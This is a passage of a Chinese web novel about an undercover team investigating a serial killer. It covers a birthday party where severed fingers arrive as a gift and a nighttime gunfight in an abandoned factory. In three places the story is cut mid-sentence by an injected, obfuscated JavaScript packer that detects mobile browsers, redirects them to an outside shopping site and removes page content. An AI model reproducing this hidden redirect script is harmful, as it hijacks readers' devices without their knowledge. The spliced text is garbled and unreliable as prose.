虽然待在人多的场合还是很恐怖,但有了相关资料,不会空落落的没底,好歹不会一问三不知惹人怀疑。 06收到信息提醒,有无人机送来了几份快递,它立刻去玄关取来交给燕逸岫。 是系统送来的。燕逸岫打开“宙”录像,检查包装无人为损坏后,开始挨个拆开快递。 “主人,为什么要录像?”06不解地询问,“我拿到手时已经全面扫描过了,里面没有危险物品。” “啊、这个,没事,个人习惯而已,不用在意。”燕逸岫被它问得一愣,哈哈两声敷衍过去。 吃谷多年,开箱录视频的规则刻入骨髓,早已形成肌肉记忆。 她把箱子里的东西取出来查看。一套宽松利落的黑色西装,还有搭配的鞋子和饰品,是系统根据她的风格喜好准备的赴宴服装。 向姜韫确认没问题后,燕逸岫继续阅读资料,抓紧时间把出席宴会的流程礼节还有有关徐总和她女儿的信息资料背下来记在脑中,争取在后天的社交场合能自然流畅地回答有关“自家人”的话题。 恐惧让人恍觉时光飞逝,焦虑使人深感度秒如年。燕逸岫在这两种痛苦情绪的混合双打下,终于迎来了6月22日。 如她所料,前两晚都辗转难眠,好不容易睡着也会做几回噩梦,梦到自己在乌泱泱的人群里出丑,被发现假身份,被万德一家人赶出宴会,被反派发现自己是异能成员等等等等。 燕逸岫撩起冷水拍拍脸让自己镇定下来,她闭上眼深呼吸,睁开眼后凝视着镜中的自己,目光多了几分坚定。 这点坚定在她凭着邀请函顺利进入万家的豪华宅邸后碎了一地。 好多人,好多盛装打扮的人漫步在别墅前的大庭院中,和身边的人欢声笑语。 万德一在生意场上混了几十年,人脉极广,此次受邀参加宴会的基本都是天均区的顶层有钱人。 燕逸岫感觉自己快不能呼吸了,暗暗掐几下自己的虎口,硬着头皮往里走,不忘顺便扫视四周环境。 别墅会客厅装扮得精致可爱,生日气氛浓郁。 她迈步进去后,其中一些人注意到这张生面孔,好奇地朝她看来。 “欸,你是……”站在门边的一位贵妇人歪头打量她。 燕逸岫端起礼貌的笑,努力遏制声音里的颤抖,表明了自己的身份。 “哦——原来是徐总在国外留学的女儿燃燃呀!哎呀我说怎么之前没见过呢,徐总呢?她还在国外忙?” 听到徐总的名头,周围几人的眼睛也亮了,纷纷凑上前来搭话。 斯到普!斯到普! 燕逸岫看似毫无波澜,实则内心翻江倒海,表情差点都要维持不住,一边脚也已经不受控制地往后挪了几厘米。 “对,她还在国外,实在脱不了身,所以就让我回来一趟参加宴会……” 面对着一个接一个的问题,燕逸岫被迫装e,扬起自信大方的笑容耐心回答。 好在她背熟了所有资料,还预想过百八十种对话场景,在家对着镜子和自己模拟,绷不住了就蹲在地上薅头发,调理完了再起身继续对话,直至自己满意。 寒暄一番后,几人又热情地带着燕逸岫前往会客厅右侧的展览室,因为这里摆放着一些徐总也喜欢的收藏品。 燕逸岫脸上挂着迷之微笑,装模作样地和大家一起欣赏。 其实哪怕是最顶级最昂贵的东西摆在面前她也面色不改,因为贫穷如她根本不认识这是什么,感受不到它的价值。 趁着所有人注意力都在欣赏艺术品上,燕逸岫悄悄后退两步,想靠到墙边,稍微拉开距离,也让视野更开阔些。 这时系统的声音在她耳边响起:“你后面的花瓶价值九百万,小心别碰倒了。” 燕逸岫立刻又往前走了三步远离桌子。 这些金贵东西她可赔不起。 之后,大家边走边聊,和刚刚到达的熟人互相寒暄夸赞,聊起最近的生活和公司上的生意往来。 燕逸岫从没接触过这层圈子,害怕多说多错会露馅穿帮,所以基本只答不问,努力当个合格的倾听者。 又麻木地聊了几分钟后,万德一的妻子程菱带着孩子们终于出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564312|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 程菱正与熟络的生意伙伴谈笑风生,情绪伪装得天衣无缝,根本看不出正身处困境。 她的大儿子也尽量保持着温和的笑脸陪在母亲身边,小女儿毕竟年龄小,才八岁,并不太能藏得住心事,坐在寿星的专属位置上,悒悒不乐摆弄着桌上的刀叉。 “小寿星怎么不高兴呀?是不是爸爸出差谈生意赶不回来所以……” 提到了爸爸,小孩顿时憋不住了,没等对方说完话,嘴一扁眼泪就快要涌出来。 程菱立刻把孩子揽入怀中,摸摸她的脑袋安抚,望向来宾做出一副又气又想笑的无奈表情摇头叹息:“这孩子太黏人了,爸爸没陪她玩就爱哭,真是受不了……” 大家笑了起来,赶紧说些别的话希望能逗乐寿星。 程菱又俯身在女儿耳边说了几句话,等孩子点点头后,才笑着松开她让她坐好。 小女孩咬着嘴唇转回来面向大家,眼眶微红,努力对大家展开笑颜。 燕逸岫垂下眼帘,注意到程菱贴在身侧的手紧攥成拳微微颤抖着,手背青筋浮起。 她能看得出,除了程菱,她的孩子们和身后的佣人们面部表情都略微僵硬紧张,无意识地重复做出一些小动作,明显心里揣着事,但克制着不能在外人面前显露出来。 正思索着怎么更接近她们时,会客厅的灯骤然熄灭了。 燕逸岫被噩梦困扰得有些神经质,突如其来的黑暗让她瞬间戒备,将五感拉到极限感知周围动静,心跳得飞快。 直到温暖的烛光被推进会客厅,燕逸岫意识到是开始庆祝生日了,才安心下来。 烛光照亮了小女孩稚嫩的脸,她注视着蛋糕上的八根蜡烛,不知想到了什么,泪水开始在眼中打转。 但她还是懂事地控制住情绪,按步骤完成流程,最后双手交握,闭着眼许了一个长长的愿。 陪在身旁的程菱和大儿子也默然低头闭上了眼。 之后,小女孩吹灭了烛火。 黑暗再次覆盖众人,燕逸岫敏锐地听到了一声极轻微短促的隐忍抽泣,不知道是谁发出的声音。 灯光亮起后,生日宴会继续,气氛热闹欢快。 燕逸岫留意到那几个佣人转身离开,似乎是去厨房准备新的点心酒水,于是她借口上厕所,和身边的人打了个招呼,往佣人离开的方向走去。 转过拐角,周围没什么人了,她才大步追上:“你好……请问卫生间往哪儿走?” 对方连忙扬起亲切的笑容为她指清方向。 燕逸岫道了谢,转身朝她们所说的位置找去。 多亏了廖怀霖的黑客技术,在赴宴之前,其实燕逸岫已经把整座豪宅的结构都摸透了,也记下了各个监控的位置和所能拍摄到的角度,找好每一条可行的路线和可供隐藏的地方。 她听着背后渐远的脚步声方向,确认佣人们是往厨房去了,便穿过长廊进了卫生间。 卫生间里没人,墙外也没人,燕逸岫抓紧时间打开卫生间窗户,扒住边缘跳上去,悄然翻出窗外。 天色已经暗了,穿着一身黑的燕逸岫完美隐入夜晚,从监控照不到的位置绕到厨房窗外,蹲在地上。 里头的人正窃窃私语,夹杂着碗盘玻璃杯碰在一起的声音。 燕逸岫屏息凝神,过滤掉杂音听清了她们的交谈内容。 “真的不能报警吗?这算什么事呀,逼着正常庆祝生日,小宝都吓坏了……” “哪能报啊,那个疯子敢来真的,你也想被砍掉手指头吗?” 15. 十根断指 “我之前向万董请了假,本来过两天要回老家一趟的,现在这样还有办法走吗?” “嘀嘀咕咕什么呢,”另一位住家保姆走进厨房打断了她们,“快点快点,别让客人等,酒多准备几瓶,要按那个人要求的,把生日办得热热闹闹,不然大家都会死。” 这个话题也就到此为止了。 燕逸岫猫着腰后退,蹑手蹑脚原路返回,回到会客大厅。 按照宴会流程,半小时后主人会带大家到露天庭院品尝甜品和欣赏庆生烟花会。 燕逸岫计划趁着大家聚集在外面的这一大段时间里上楼去万德一的书房找找线索。 程菱正和大儿子站在墙边低声聊着什么,没注意到小女儿已经溜到沙发边了。 有不少宾客围在小寿星身侧与她搭话。 “一定是爸爸送来的礼物!” 燕逸岫在杂乱的环境中听到她清脆的童音,顿时警觉,连忙穿过人群空隙来到更靠近小女孩的位置。 不明真相的宾客们都笑着注视小女孩欢欢喜喜拆丝带,好奇于今年万德一会给最疼爱的女儿准备什么神秘礼物。 看礼盒的形状大小,似乎是一幅画。 燕逸岫走近了些后,忽然一惊,动了动鼻子轻嗅。 在混杂的酒精味和浓郁香水味中,她闻到了一缕血腥的气息。 不妙的预感油然而生,燕逸岫霍然看向正开怀笑着的小女孩,感觉自己的太阳穴开始狂跳。 “不要打开!” 万德一跪坐在地上,对着屏幕撕心裂肺地大喊,他的泪水顺着一道道已经干涸的泪痕再度流淌而下,沾湿衣领。 “囡囡!不要打开——” 凄厉的叫喊声在屏幕内外一同响起,余音久久回荡。 印在画布上的血在灯光照耀下闪烁着细小的光芒。 这份八岁的生日礼物,是用血画出的众人熟知的图案——浸泡在子宫血水里的婴儿,另外,还有八根手指隔着相等距离被钉子固定在画上,围出子宫的圆圈。 血迹还是湿漉漉的,刚画上去没多久,断指截面也还缓慢渗着血。 连环杀人犯又出手了。 宾客们脸色剧变,尖叫着挤作一团后退逃离,一些人慌得不慎松手,酒杯落地砸碎,噼里啪啦的声响起此彼伏。 被吓傻的小女孩一手仍然握着礼盒的丝带,跌坐在地上仰头大哭,泪水一颗颗砸下来,将丝带打湿。 吸了水的丝带变得沉重,弯曲垂低,安静地贴在她掌心。 燕逸岫率先逆着人群冲上去,差点被撞倒,她弯腰一把抱起小女孩远离礼盒,扭头朝众人大声喊道:“快点报警!” 这个符号出现,意味着反派撕票了。 万德一必死无疑。 显然程菱也深知这一点,绝望至极,再也维持不住苦苦支撑的伪装,脱力歪倒,但顾及着众多来宾在场,她还是咬紧牙关扶着桌子稳住身体,打开“宙”联系警方。 现场乱作一团。嘈杂的声音透过虚拟屏传进两个人的耳中。 “你还有什么遗言?” 血迹斑斑的冰凉刀片在万德一脸上不轻不重地拍了两下。 万德一眼中已经没了神,摇摇晃晃侧靠在墙上,他没了十指,只能用仅剩的手掌撑在地上,声音沙哑:“能不能让我……和她们最后说两句话……” “这可不行,毕竟我自己都没有拥有这个机会,你凭什么?” “我可以死,要杀要剐随你便,”万德一的肩抖个不停,膝行几步,呜咽着抬头看站在面前的人,“但是,求求你不要迁怒我的家人……求求你放过她们……” 对面的人不言语,冷笑着转头看向屏幕。 燕逸岫能确定此刻反派一定正透过某个监控观赏着万德一家人的反应,虽然系统为她安上了徐燃的空壳信息,不会被反派方识别到身份错误,但她也不能在这时候表现得太异于旁人从而引起他的注意。 她仍然抱着号啕大哭的小女孩,轻拍她的背安抚,同时露出一副惊恐又迷茫的表情躲在人群里。 出了这种事,她暂时没法溜去楼上万德一的书房翻找线索了。 燕逸岫暗中打开微系统向队友们报告当下情况。 廖怀霖很快回复她:“我现在就登入物流总部查找收件地址是万德一家的快递。” 发完消息,燕逸岫将小女孩带回母亲身边,她望着崩溃捂脸的程菱和两个哭泣的孩子,神色凝重。 这才是反派扣住万德一不动的真正目的。 特地等到寓意成长的生日这天,在热闹的宴席上当着无数人的面宣判万德一的死刑。 父亲死在自己生日这一天,连环杀人犯还把父亲的断指和血作为生日礼物寄来送她,给可怜的孩子留下无法磨灭的心理阴影。 往后每年的今天,这家人可能都无法再面对这本该充满快乐的生日,这场噩梦会在无数夜晚萦绕纠缠着她们。 反派对这家人有着超乎寻常、不同于之前那些被害者的更浓重的仇恨,所以他以这种方式将伤痛惊惧深深烙在她们心中。 缓过神后,不少人都打开设备对着血淋淋的礼盒拍照录像,急切地把自己今天的遭遇分享给熟人。 光是那八根手指,就足以致使这件案子引发大范围轰动。 接到报案的警方火速赶到现场处理,燕逸岫和其余宾客都集中在会客厅左侧等待依次接受询问。 机器人在扫描画上的血和断指,自动录入数据信息,另一边,警察正在和好不容易冷静下来的程菱一家交谈。 程菱示意佣人去房间里取来一个小盒子交给警方,里面赫然是没有钉在画上的左右两根无名指。 燕逸岫低头,假装正在愣神发呆,调整呼吸后调动听觉试图同时接收并听清两个方向的说话内容。 “十根手指都是在活着的时候切下的。” “DNA结果出来了,是万德一的,这些是他的血和手指。” “我也不知道怎么回事,一觉醒来就发现一家子都被绑架了,我们被囚禁在一个黑暗的屋子里待了十几天,只有德一被放出去过几次,不知道是干什么去了,他回来后也只说没事别担心,很快就能回家了。” “没有其他人的DNA,指甲缝里有皮屑,但也只有万德一本人的,还有一些灰尘锈粉。” “不知道,我们被蒙着眼,看不到对方长什么样,也没有听过声音,因为对方都是不吭声把德一带出去……没有,绑匪没有封上我们的口鼻,我能闻到一股铁锈味和霉味。” “画布很旧,有些年头了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564313|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让机器人分析一下成分比例录入数据库里进行比对,看看能不能匹配到是哪家工厂生产的产品。” “后来德一说绑匪同意放我们先回家,他还有点事情没办好,等结束了绑匪就会让他走,他要我们别担心……” “礼盒包装和丝带都只有万德一的女儿接触过,没有其他指纹,绑匪戴了手套。” “回家之后,我发现口袋里有一张打印出来的字条,要我们不许声张,正常生活,必须如期举办小女儿的生日宴会,等时间到了他就会放了德一,不能报警,否则后果自负。” “其实我们刚开始是坚决要报警的,可是刚打出去信号就被屏蔽了,然后……一个盒子就被送到家门口,里面是、里面是……所以我们不敢再联络警方,他一直在监视我们,他知道我们的一举一动……” 闻言警察立刻派人全面扫描别墅,排查窃听装置和监控。 这时廖怀霖的声音传了过来:“查到了这架无人机的编号,但寄件地址是天泊区的一家废弃工厂,并且在这段时间附近摄像头全部故障罢工,查不到可疑人员。” 听着这些,燕逸岫无声叹息,愤然抿紧嘴唇。 她们必须要掌握更多线索才能追赶上反派犯罪的速度,才能在陷入无法挽回的境地前阻止这一切的发生。 现场取证工作已经完成,众人在工作人员的安排下乘车前往中心警局,做完笔录后各自回家。 燕逸岫向系统说明现在的情况,结束了今日任务,乘车回到自己的住处,伪造数据信息让“徐燃”搭乘飞机出国的扫尾事项就交给系统处理。 回到家后,燕逸岫卸下了脸上的妆容和伪装。先前她请教温簌,学到了一点易容皮毛,但今天毕竟是和人近距离接触,她不敢伪装太重,以免手法拙劣被人识破。 她望着镜子里没力气摆出表情的脸发呆,恍惚间,她看到鲜红的图案从镜中逐渐浮现,血滴顺着镜面缓缓滑下,从水龙头里渗了出来。 她的眼睛正对在婴儿脸上,仿佛是婴儿睁开了眼与她直直对视。 “你对于反派而言有什么寓意?他到底想传达什么?”燕逸岫低声问道,并不觉得害怕,也不移开目光,反而盯得更认真,希望能得到一星半点的提示。 可惜幻象不会回答什么。图案像墨水化开般晕成一团向下流淌,消失在边缘。 燕逸岫眨了眨眼,视线重新变得清晰。 姜韫说得没错,被害者们一定都与反派有某种关联,特别是万德一。 今天的断指案一经报导,必然引起轩然大波,人们对于逍遥法外已久的连环杀人犯更加恐惧,社会舆论如滔天洪水,警方压力将越来越大。 不过正好可以把握机会,让警方重新联系前十八起案子的被害人家属及相关目击者到警局再做一次详细笔录,复盘案情线索,该境况下警方的举措合情合理,不容易引起反派怀疑,2队成员就能通过这一方式深入了解详情。 而且说不定那些目击者和家属还能想起之前没注意到的点。 说不定反派就在其中。 燕逸岫盘算着未来的行动计划,瘫倒在沙发上闭目养神。 没过多久,群中突然跳出了乔琅的消息。 “我看完了天极区监控,终于找到昆隐棋的身影了。” 16. 第一枪 一段视频被传上微系统,燕逸岫瞧见了乔琅眼底乌青和乱翘的碎发,已经能想象出她这两天是怎么度过的了。 “在这里,”乔琅声音也比平时沙哑,她将分屏上暂停着的监控画面放大,指出其中一个人影,“我反复看了,确认当天天极区所有监控中只有这里拍到昆隐棋,只有三秒。” 视频中,在22:48时,一个休闲装扮的人从小巷里急匆匆走出,但没几步又转身折返,再次进了小巷。 对方低着头,棒球帽严严实实挡住了脸,连是男是女都难以分辨。 “就这一点点,我把这条小巷所有其它出入口都检查过了,没再发现她的踪影,她就像突然出现在这里面,又突然凭空消失了。” 说完后,乔琅打了一个长长的呵欠,后仰靠在沙发上,结束录像。 “正好我和怀霖把搜集到的昆隐棋资料整理完了,大家看看有什么需要深挖的。”不一会儿季渊知也上传了一份厚厚的资料。 燕逸岫打开快速浏览了一遍。 昆隐棋,32岁,出生于富裕家庭,双亲都是高级科研人员,家庭关系健康良好,她在家人的呵护与培养下全面发展,考入顶尖学府深造,毕业后自主创业,凭着超强的经商头脑、雷厉风行的做事风格和对市场变化的敏锐度,让自己的无名小公司快速发展,跻身全国500强。 往后的资料是昆隐棋从小到大的人脉圈、公司创立至今的各类数据信息、她和亲人名下的所有资产、她的所有公开及未公开社交账号发布的内容和回复、所有能查得到的她的照片视频、她在前十八起案件发生时间段的动向等等。 燕逸岫突然想起姜韫还没和她谈过要怎么潜入昆隐棋个人别墅搜查,于是她发去了消息,顺便问问需不需要去天极区这条昆隐棋出现过的巷子探探情况。 在等待指示期间,燕逸岫又联系了乔琅,请教对方是怎么判断出那个人是昆隐棋的,如果自己之后被派去追昆隐棋的行踪,心里有底也能更快地锁定目标。 她不习惯在群里冒泡,所以不是要紧的事她更喜欢单独与对方聊,在放松的对话环境里她也敢多问些自己想了解的内容。 乔琅把自己的分析仔仔细细告诉了她。 “我记得你提过你不是读侦查学相关专业的,为什么会精通这方面的技能?” “可能因为我当了几年站姐吧,我追过的明星偶像没有一百也有八十个,你在网上看到的很多神图都是我拍的。” 燕逸岫不太明白这两者是怎么挂钩的。 “因为我要在极短的时间里抓拍到高清好图,就必须去研究这个人的各种特征,才能在人群中一眼找到目标,才知道ta会摆什么姿势,露出什么表情,什么高度角度什么动作什么方向什么弧度拍出来最好看,以及构思预想接下来的某个动作抓拍下来会好看并把握时机。” “练久了之后我就总结出一套判断对方行为特征的方法,每次看到人我的头脑就会像开启了自动扫描一样观察对方一遍。” “如果有人明白这点,故意改变走路姿势特点,比如装跛脚之类的,那还能分辨得出吗?” “当然可以,人类不是设定了固定数值的机器人,常年走路形成的某些习惯特点是很难改的。如果刻意改变,太僵硬别扭会更容易被识破,你的心思也会因为一直注意在摆弄姿势上而没办法全神贯注留心四周,平常人倒没什么大不了,如果是出任务,那就得斟酌清楚了。” 说到这儿,燕逸岫忍不住好奇问道:“那我的走路姿势你有观察过吗? “有点外八,走路左腿更用力,重心在左脚侧后方,步伐比一般人略小,频率更快,高度低但不拖脚,很轻盈,”乔琅不假思索地回答,“走路习惯低头,头不左右转,而是只移动目光张望,喜欢抱着双臂走路,心理防御很强,在外面人多的地方走路背会绷得略僵硬,感觉得出你在紧张,在人少的地方就不会。” “……”燕逸岫呆若木鸡。 “……你怎么说得出这么多?我们还没有一起出过任务吧。” “第一天来我就稍微观察了你们走路的样子,你跟踪那个杀手的时候,我也看过一次酒店监控。” “好厉害。”燕逸岫认真夸赞。 乔琅得意地哼哼笑,又忍不住打了个呵欠,说自己熬了两个大夜才看完监控,要先去睡会儿,如果出外勤时有什么需要再打电话叫醒她。 燕逸岫结束了这边的通话,又返回群中翻阅资料和大家讨论。 已经十几分钟过去了,姜韫仍然没回复,也不曾在群里出声。 燕逸岫心中生出一丝隐隐的不安。 越担心什么越来什么,就在这时系统的虚拟屏遽然出现在眼前,刺目的红光不断闪烁,令人心慌。 “检测到行动组成员姜韫遭遇危险,生命体征数值不正常,请外勤队员准备援救。微系统定位为天泊区青杜街。” 燕逸岫浑身发凉,猛地起身准备出发,跑到玄关时意识到这次可能会和反派方打照面,不能空手去,于是又连忙返回房间,从暗格里取出系统为她们配备的子弹和两把手枪揣进裤兜。 行动组有规定,当大队长姜韫因故无法指挥工作时,暂时由同为刑警的谭誉道接手管理安排相关任务。 等谭誉道说完他和秦观秋两个有经验的人去就足够的时候,燕逸岫已经戴上口罩飞奔出门了。 微系统提供的定位离她的住处比较近,燕逸岫乘飞车到达附近才两分钟左右。 这一片区域是废弃多年的工厂集中地,荒无人烟,路灯也早已报废,一入夜这里就伸手不见五指,鬼气森森,因此平日不会有人靠近。 燕逸岫戴上夜视镜,将袖珍手枪藏进袜筒贴着小腿,握着在车上就装好子弹上膛的另一把手枪,无声无息拐进小路,步行一段距离进入了厂区。 四周一片死寂,如果有什么细碎声音冒出她都能听得一清二楚。燕逸岫随机选了一条路,贴着墙边往深处移动,边竖起耳朵留意附近的动静。 地图上显示她的位置距离姜韫还有段路程,必须继续朝厂区中心里走。 今晚没有月亮,天色格外阴沉幽暗,厚重云层覆盖天际,压抑得让人喘不上气。 沿着楼栋之间错综复杂的拐弯摸索了一会儿,燕逸岫听到了鞋底碾过地面土石的窸窣声响。 有一阵很轻的脚步声正朝着这个方向而来。 血腥味也随之愈发浓郁。 定位显示姜韫的位置没有移动,并不是她。 是被姜韫反击而受了伤的人吗,燕逸岫心想,如果是这样,那就好解决多了。 但下一刻她又觉得不对劲,血腥味很明显,这种程度的伤按理说会影响到走路,脚步声不应该是这么平稳匀速。 恐怕是反派的人,身上沾着别人的血。 黑色人影如鬼魂般从墙角转出,迅速抬起枪口。 然而这条路也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564314|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空荡荡的,夜风呼啸。 黑衣人失望地低低哼了一声,继续搜寻下一处。 此时燕逸岫趴在断裂得仅剩一半的二层水泥地上,目光追随着底下高壮的蒙面人离开。 安全了。 她缓慢移动手臂准备暗杀对方,先除掉一个麻烦,正在瞄准时,忽然浑身惊起一层鸡皮疙瘩。 还有别人,还有一道充满敌意的目光在盯着她。 这个念头刚一浮出来,本已经往前走的黑衣人猛然转身抬起头,看到了二层埋伏着的人,立刻举枪扣动扳机。 燕逸岫倒吸一口凉气,以最快速度翻滚一圈靠到内墙,起身扒住墙头翻越,从断墙后跳回地面。 她刚一松手,子弹就打在了她借力的墙头上。 落地后燕逸岫来不及多想,马上闪进了旁边的一条窄路逃跑,边环顾周遭环境找出被发现的原因。 不远处有一座高塔,在黑暗中像守夜巨人似的坐镇在工厂中心巡视四方。 应该是有人在高塔上俯瞰,发现异常情况就向同伴或手下发出提示,那人才准确找到了她的藏身位置。 她刚刚躲着的二层断层,就暴露在高塔能看得见的方向。 情况有些棘手,但燕逸岫并不惊慌,确定黑衣人注意力被她吸引而追过来了,就急刹车止住脚步,左转翻窗跳进了一座工厂里。 在这种情况下,头上有遮蔽物总归是比在外面好躲。 一枚子弹从她原本的位置穿过去,没入荒凉黑暗中。 燕逸岫在中弹前及时蹿进了黑漆漆的工厂躲避,鞋底踏在地面,惊起一层灰尘飞扬。燕逸岫来不及等落稳就迈开步伐狂奔,掀开帘布钻进了里面的隔间。 “天真,”黑衣人随之破门而入不断逼近,自言自语道,“难道以为随便找个楼躲起来就能逃脱吗?” 他抬手转动夜视镜镜腿上的环扣,开启了热成像检测功能,全方位覆盖这片区域进行寻找。 一楼没有收获。 黑衣人举枪扫视四方,一步步走上楼梯来到二楼门外,再次打开热成像透过墙体检测这片环境。 这回他瞧见了一团彩色的人影藏在屋里的机床后面,等着他走进去暴露在视线中了再偷袭。 抓住你了。 黑衣人无声冷笑,故意发出往前走的细小动静,接着蹑手蹑脚后退,关闭热成像功能,恢复夜视效果,往左走迅速转进隔壁的屋子。 他从第二间空屋悄悄翻越到共通外廊,悄无声息来到第一间窗外,贴着墙壁站稳。 这样一来他就移动到了对方后背,形势反转,能出其不意偷袭成功的人是他。 黑衣人手指贴在扳机上,慢慢侧身往窗内看,并把枪口移向大概的位置,准备给对方致命一击。 视野随着移动逐渐完整。 机床后并没有人,只有锈迹斑斑的机床在沉睡。 什么? 他顿时愣住,正要探身瞧个仔细,却听到一声轻笑从左上方传来。 再慌张转身抬头,他就看到一个人影正蹲在三楼地板突出的钢筋上,像幽灵一样俯身低头望着他,那双微眯的笑眼中亮着冷锐的光。 “天真。”燕逸岫把这句话还给他,随即毫不犹豫地开了枪。 枪声巨响在空旷的厂区久久回荡。 听到声音,正躲在某座工厂死角的姜韫掀开沉重的眼皮,费劲喘几口气,捂住腹部仍然渗血的伤口缓慢坐起。 17. 铁锈味与血腥味 她也不知道自己的具体位置在哪里,中枪的彻骨疼痛让她晕头转向,吊着最后一丝意志甩开对方的追赶,捂着伤口跌跌撞撞闯进眼前看见的工厂里,躲到角落休息。 姜韫从口袋里的暗袋取出一个装着两片药的小包装,拿出蓝色的那片塞进嘴里咽下。 又闭着眼歇了一会儿,感觉特效药开始起作用,疼痛有所缓解,意识也清晰些许了,她才拆下弹匣装满子弹,打开微系统查看消息。 “有人在高塔上巡视,负责给地面的成员发指令和定位,你们进入厂区多加小心,尽量躲在高塔盲区行动。” 群里最新消息是燕逸岫发的。 “我们来救你了。” 这是几分钟前她单独发来的。 姜韫想起刚才那道突兀的枪声,明白她们已经到这儿了。 她正打算向队友们报平安并提醒其它危险,忽然听到这间工厂的大门被推开了。 生锈的合页发出尖锐刺耳的摩擦声。 燕逸岫小心翼翼推开后门走出厂房,循着定位继续寻找姜韫。 由于出门太急,她忘记带上消音器,加上四周环境又宽阔,刚才开枪的动静便格外巨大,把她自己都震蒙了,虽然提前戴上了耳塞,但还是觉得两耳嗡嗡的。 回神后燕逸岫连忙准备撤退,以免招来更多杀手围攻。 离开前她扯下那人的面罩扫描识别面部,让系统将他的身份信息传输给研究组队友,最后顺便抢走了尸体手中的枪。 枪声已经消散,四周重归寂静,燕逸岫取下耳塞后能捕捉到四面八方都有不同的脚步声,有两个人就在附近,其余的暂时都还离得比较远。 靠声音来判断,估计地面有十几个人,塔上的人数还不清楚。 燕逸岫低头看了眼手中自己的枪。 其实忘带消音器也不一定是麻烦。 埋伏在一个地点故意开枪吸引敌方注意,等他们陆续聚集过来进入射程,再一窝端掉,应该就能高效率解决掉一部分火力。 “系统,给我一份这个老厂区的立体结构图吧。” 秦观秋和谭誉道也都已经在往大队长的定位靠近了,燕逸岫接通语音与她们保持联络,商量后续行动计划,边贴着一面面墙小跑,谨慎隐蔽于高空盲区,逐渐靠近中心位置。 到了自认为合适的地方,她发送定位,戴上耳塞,然后迅速抬手朝天放了两枪。 万一受伤的姜韫此时正身处险境,这里的枪声也能吸引注意力,给她争取几秒的机会。 枪声余音环绕,此时月亮也从厚重云层里显现出来,仿佛是黑夜被这两声巨响惊动而睁开了天眼。 燕逸岫开完枪转身就走,不多逗留,她的目的地始终只有屏幕上的那个红点。 这里的清剿任务有另外两人负责解决。 就在这时,失联已久的姜韫终于在群里发了一条语音。 “塔上有狙击枪,小心……” 她那变得有些虚弱的声音在耳边响起。 狙击枪!? 燕逸岫呼吸一滞,立刻抬头看向伫立在黑暗中的巨物,神色冷肃。 靠近中心区域后,她们四人的位置已经都在有效射程范围内了,一不小心就会脑袋开花。 姜韫的伤不知道还能撑多久,现在又要顾忌着塔上的巡视人和随时夺命的狙击枪,找到她还要额外多花不少时间。 每浪费一秒钟,姜韫的生命体征都在一点点降低。 ……这座塔真是个麻烦。 燕逸岫摘下耳塞,再一垂眼,诧异地发现姜韫的定位红点竟然开始缓慢移动了。 她连忙顺着方向沿路找去。 汗水已经浸湿了衣服,紧紧贴在身上,阻碍她自由活动肩膀胳膊,燕逸岫边走边把袖子卷高,才觉得舒服了些。 时间一分一秒地过去,两个定位红点也越来越近。燕逸岫将装了消音器的枪换到右手,顺路开枪射杀一个正在巷子里搜索的黑衣人。 继续走了一会儿,又有一股血腥味飘到鼻尖,伴随着一阵虚浮不稳的脚步声。 燕逸岫查看定位,确定来者是姜韫。 只不过在她身后,还有一阵脚步声,有一个人正追了上来。 燕逸岫立马从阴影中现身,先是看到扶着墙的姜韫,再与后方的黑衣人遥遥对上视线。 两人都瞬间举起了枪,但燕逸岫速度更快,也瞄得更准,让对方完全没有机会反击。 子弹穿透对方的前胸后背,裹着一层血落在地上。 解决掉敌人后,她大步上前扶住姜韫,低头查看伤势。 姜韫的腰部右侧被狙击枪的子弹击中,鲜血浸透衣服,仍然湿漉漉地贴在身上。 “应该没伤到内脏,死不了,放心吧,”姜韫嘴唇发白,仍然扬起笑安抚她,“我吃了特效药止血,只不过暂时没法正常参与行动了。” “刚才逃跑时又杀了一个,现在真没力气了。”她松了一口气,把全部重量靠在队友身上。 燕逸岫环顾四周,开始思考接下来怎么办。 她目前能力有限,没办法带着受伤的姜韫行动,而且一直牵动伤口也会加重伤情,她不敢冒这个风险。 “没事,队长你别动,我抱你走一段,我找个地方先把你藏起来,后面的事情我和观秋姐她们一起解决就行了。” 听着周围其他人的脚步声还算远,燕逸岫放心下来,活动活动手腕,弯腰小心地把姜韫打横抱起,转身带她进了右侧道路,奔向职工宿舍楼栋。 这里是燕逸岫在拿到地图后经过比对选中的绝佳地理位置,易守难攻,格局复杂,很适合藏人,就算有人从高塔纵览,视线也会受到不小的局限。 没有通电,电梯自然无法使用,燕逸岫抱着人一口气爬上三楼。 “明明这么瘦,力气倒是不小。”姜韫哑着嗓子咳了两声,还有精神打趣。 